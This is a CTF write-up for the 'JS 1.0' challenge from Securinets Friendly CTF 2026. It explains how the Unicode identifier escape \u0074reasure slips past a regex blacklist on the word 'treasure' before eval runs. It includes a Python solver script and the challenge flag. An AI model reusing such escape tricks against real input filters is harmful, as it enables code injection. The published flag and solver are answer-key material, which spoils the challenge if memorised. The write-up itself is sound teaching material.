Securinets Friendly CTF 2026 / Misc WRITEUP
JS 1.0
Parser vs filter. We taught a regex to understand JavaScript. The language specification can retire now.
Walkthrough
Challenge package
Players receive chall.js and the remote endpoint. The service accepts one short expression, checks the raw text with an extremely confident filter, and then gives the same text to JavaScript's considerably less impressed parser.
The public description and service banner are intentionally sarcastic:
Parser vs filter.
>
We taught a regex to understand JavaScript. The language specification can retire now.
The challenge starts at 200 points and has a minimum value of 100.
Intended solution
The secret is stored in the lexical variable treasure. The filter rejects the literal text treasure, but ECMAScript permits Unicode escape sequences inside identifiers. The payload is:
\u0074reasure
The filter sees a backslash, u0074, and reasure, so the forbidden word never appears in the raw input. During parsing, JavaScript converts \u0074 into t and resolves the resulting identifier as treasure. Direct eval returns the variable's value, which the wrapper prints.
Reference solver
The reference solver supplied with the writeup:
#!/usr/bin/env python3
import os
from pathlib import Path
import re
import socket
import subprocess
import sys
ROOT = Path(__file__).resolve().parent
PAYLOAD = br"\u0074reasure"
FLAG_PATTERN = re.compile(rb"Securinets\{[^}\r\n]+\}")
PROMPT = b"code> "
def extract_flag(output):
match = FLAG_PATTERN.search(output)
if match is None:
raise RuntimeError(f"flag not found in service output: {output!r}")
return match.group(0).decode()
def solve_local():
environment = os.environ.copy()
environment["FLAG_PATH"] = str(ROOT / "flag.txt")
result = subprocess.run(
["node", "chall.js"],
cwd=ROOT,
env=environment,
input=PAYLOAD + b"\n",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=5,
check=True,
)
return extract_flag(result.stdout)
def solve_remote(host, port):
with socket.create_connection((host, port), timeout=10) as connection:
output = bytearray()
while PROMPT not in output:
chunk = connection.recv(4096)
if not chunk:
raise EOFError("service closed before the prompt")
output.extend(chunk)
connection.sendall(PAYLOAD + b"\n")
while FLAG_PATTERN.search(output) is None:
chunk = connection.recv(4096)
if not chunk:
break
output.extend(chunk)
return extract_flag(bytes(output))
def main():
if len(sys.argv) == 1:
print(solve_local())
return
if len(sys.argv) == 3:
print(solve_remote(sys.argv[1], int(sys.argv[2])))
return
raise SystemExit(f"usage: {sys.argv[0]} [host port]")
if __name__ == "__main__":
main()Flag
Securinets{th3_f1lt3r_s4w_t3xt_th3_p4rs3r_s4w_j4v4scr1pt}